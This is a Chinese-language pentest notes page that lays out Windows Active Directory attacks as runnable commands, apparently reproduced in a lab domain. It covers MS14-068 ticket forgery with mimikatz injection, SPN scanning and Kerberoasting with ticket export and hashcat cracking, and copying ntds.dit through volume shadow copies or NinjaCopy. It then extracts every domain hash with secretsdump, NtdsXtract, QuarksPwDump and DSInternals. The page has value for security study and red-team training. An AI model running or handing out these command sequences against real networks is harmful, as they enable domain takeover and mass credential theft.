MS14-068
简述
MS14-068编号CVE-2014-6324,补丁为3011780,该漏洞允许域内任何一个普通用户,将自己提升至域管权限
复现
环境
- 域控:server08.yogalab.com:192.168.1.240
- 域内主机:win7.yogalab.com:192.168.1.241
- 域外主机:192.168.1.164
条件
- 域成员账号密码
- 域成员SID
- 域控地址
- 03以上服务器或PC
流程
- 利用ms14-068.py生成TGT票据
1 | ms14-068.exe -u win7@yogalab.com -p win07.yoga.com -s S-1-5-21-2518664530-2525196109-2750174738-1107 -d 192.168.1.240 |
-d
为域控的地址,成功后会自动创建.ccache
文件
- 利用mimikatz将票据注入到当前内存中,伪造凭证
1 | kerberos::list |
- 测试
1 | dir \\server08.yogalab.com\c$ |
msf
1 | #生成bin文件 |
扩充
- mimikatz不能在xp和03机器中注入,而且mimikatz2.0版本才有
kerberos::ptc
这个模块 - 不管是域机器域内账户还是本地账号,只要清除凭证后都能利用
- 域外主机如果有全部所需信息,也能直接提升为域管权限,前提是加域控为DNS服务器
PAC
1 | 特权属性证书,是微软的一种数据结构,用于Windows域环境下的身份验证,通常包含Group UID+User UID以及用于认证的签名 |
利用过程及原因
普通用户向域控发送AS_REQ请求,数据包中将`include-PAC`标志置为FALSE,返回的AS_REP响应中不会包含PAC信息(带有PAC的数据包大小可达到上千字节)
1 | 由于漏洞的原因,KDC允许任意签名算法,所以Pykeke仅仅用MD5对用户UID进行签名来伪造PAC,然后用一串随机字符串`Subkey`进行加密,同样的将include-PAC置为FALSE,发往KDC的TGS_REQ请求。 |
1 | 这样普通的用户就能成为域控上的域管理员了 |
SPN攻击
SPN扫描
简述
1 | 服务主体名称,是一个服务唯一的标识符。Kerberos身份验证使用SPN将服务实例与服务登陆账户相关联,如果在一个林或域中安装多个服务实例,那么每个实例都必须具有自己的SPN。 |
标准格式
1 | <service class>/<host>:<port>/<service name> |
分为两种:
当一个服务的权限为Local System或者Network Service,则SPN注册在本地账户下
当一个服务的权限为域用户,则SPN注册在域用户账户下
常见的服务实例
1 | MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433 |
扫描
扫描Kerberos服务实例名称,通过请求特定的SPN类型的服务主体名称来查找服务。不需要进行批量的网络端口扫描,在一个大型域中通常会有不止一个服务注册SPN,所以通过SPN扫描来查看域内服务。
最大的优点是:不用直接和服务主机建立连接,隐蔽性高
原理
利用LDAP协议向域控中安装的LDAP服务查询SPN内容
查询域内所有的SPN:
1 | setspn -T yogalab.com -q */* |
扫描工具
Discover-PSMSSQLServers
用来查询已经注册了的MSSQL类型的SPN
GetUserSPNs.ps1
用来查询域内注册的SPN。
PowerView.ps1
Kerberoasting攻击
原理
在kerberos协议TGS_REP中,TGS会返回个Client一个用Server-Key加密的票据Server Ticket。当Kerberos协议设置Ticket加密方式为RC4
的时候,就能通过爆破Server Ticket从而获取Server的NTLM Hash
思路
- 查询域内SPN,找到可以利用的SPN
- 该SPN注册在域用户账户Users下
- 域用户账户的权限很高
- 请求Server Ticket
- 导出Server Ticket
- 暴力破解
方法
实现一
1.获取可以利用的SPN
- 用于powershell的Active Directory模块(域控会安装)
1 | import-module ActiveDirectory |
- Powerview.ps1
1 | Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon |
- GetUserSPNs.ps1
1 | cscript GetUserSPNs.vbs |
2.请求TGS
请求指定的Server Ticket
1 | $SPNName = 'MSSQLSvc/win72.yogalab.com:1433' |
请求所有的Server Ticket
1 | Add-Type -AssemblyName System.IdentityModel |
获取到RC4方式加密的票据,klist可以查看
3.导出Server Ticket
1 | mimikatz # kerberos::list /export |
4.破解
1 | ./tgsrepcrack.py wordlist.txt 1-40a00000-admin@MSSQLSvc~win72.yogalab.com~1433-YOGALAB.COM.kirbi |
实现二
使用Invoke-Kerberos(Empire中自带)通过提取票据传输时的原始字节,转换成hashcat能够直接爆破的字符串
1 | . .\Invoke-Kerberoast.ps1 |
紧接着用hashcat进行爆破
1 | hashcat64.exe –m 13100 test.txt password.list –force |
ntds.dit
ntds.dit,活动目录的数据库文件,包含了有关活动目录域中所有对象的信息以及所有域用户和计算机账户的NTLM Hash。
但是只能由可以登录DC的用户访问:
- Enterprise Admins (目录林管理员组)
- Domain Admins (域管理员组)
- Administrators (管理员组)
- Backup Operators (备份操作成员)
- Account Operators (账户管理成员)
- Print Operators (打印机操作组)
存放在两个位置:
- %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
- %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到上一个路径中
卷影副本获取
1 | 卷影副本,也称快照,可以通过网络共享上的即时点副本。利用共享文件夹的卷影副本可以查看网络文件夹在过去某一时间点的内容 |
特点
- 从server03开始支持
- 系统默认在特定条件下自动创建数据备份
- 禁用卷影副本服务会影响系统正常使用
- 调用服务会有日志文件,事件为7036和98
ntdsutil
server03
以后域环境默认安装
- 查询当前快照
1 | ntdsutil snapshot "List All" quit quit |
- 创建快照
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
GUID为{4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}
- 挂载快照
1 | ntdsutil snapshot "mount {4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}" quit quit |
快照 {885fdc52-5147-4cf5-9947-156ac01724e4} 已作为 C:\$SNAP_201904261745_VOLUMEC$\
装载
- 复制
ntds.dit
1 | copy C:\$SNAP_201904261745_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit |
- 卸载和删除快照
1 | ntdsutil snapshot "unmount {4c5d1aa5-2c4f-44d4-977e-2caac3dcd9fc}" quit quit |
vssadmin
server08
之后域环境默认安装
- 查询当前系统快照
1 | vssadmin list shadows |
- 创建快照
1 | vssadmin create shadow /for=c: |
获得卷名为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
;ID为{f46a2c74-5e6e-49af-a8ad-33347612064e}
- 复制ntds.dit
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit |
- 删除快照
1 | vssadmin delete shadows /for=c: /quiet |
vshadow
系统默认不支持,需要在SDK中获取
- 查询
1 | vshadow.exe -q |
- 创建快照
1 | vshadow.exe -p -nw C: |
获得SnapshotSetID为{809b77cc-cf9a-4102-b802-08e97d10e615}
获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e5446d464f83}
获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- 复制ntds.dit
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit |
- 删除快照
1 | vshadow -dx={809b77cc-cf9a-4102-b802-08e97d10e615} |
vssown.vbs
vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取
- 启动服务
1 | cscript vssown.vbs /start |
- 创建快照
1 | cscript vssown.vbs /create C |
- 把SYSTEM和ntds.dit文件复制本地
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system . |
- 删除快照并暂停服务
1 | cscript vssown.vbs /delete * |
Copy-VSS.ps1
通过读取注册表的值
1 | #指定拷贝的目标路径 |
NinjaCopy获取
通过获取卷的读取句柄和解析NTFS来复制NTDS.dit,没有调用卷影副本服务所以不会产生日志
1 | . .\NinjaCopy.ps1 |
ntds.dit提取hash
secretsdump.py
来自Imapacket工具包,需要ntds.dit和SYSTEM.hiv文件
1 | #获取hive文件 |
esedbexport+NtdsXtract
利用esedbexport从ntds.dit中提取出表,然后使用ntdsxtract提取域中信息,耗时一般都比较长
- 提取表
1 | /usr/local/bin/esedbexport -m tables /root/tmp/ntds.dit |
会在ntds.dit.export
文件夹存放提取出来的表,一共有十二个
- 提取信息
dsusers.py
需要datatable、link_table、system hive
可以从表中提取用户信息以及hash值
1 | python dsusers.py ../datatable.3 ../link_table.5 output --syshive ../system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |
dscomputers.py
只需要datatable即可输出域中计算机信息
1 | python dscomputers.py ../datatable.3 ds_output --csvoutfile dc2008.csv |
QuarksPwDump.exe
利用ntdsutil复制得到的ntds文件提取账户hash
1 | QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv -o pass.txt |
DSInternals
要求:
- windows powershell 3+
- .NET Framework 4.5+
利用system.hive和ntds.dit即可
导出域内所有Hash
1 | $key = Get-BootKey -SystemHivePath "C:\tmp\system.hive" |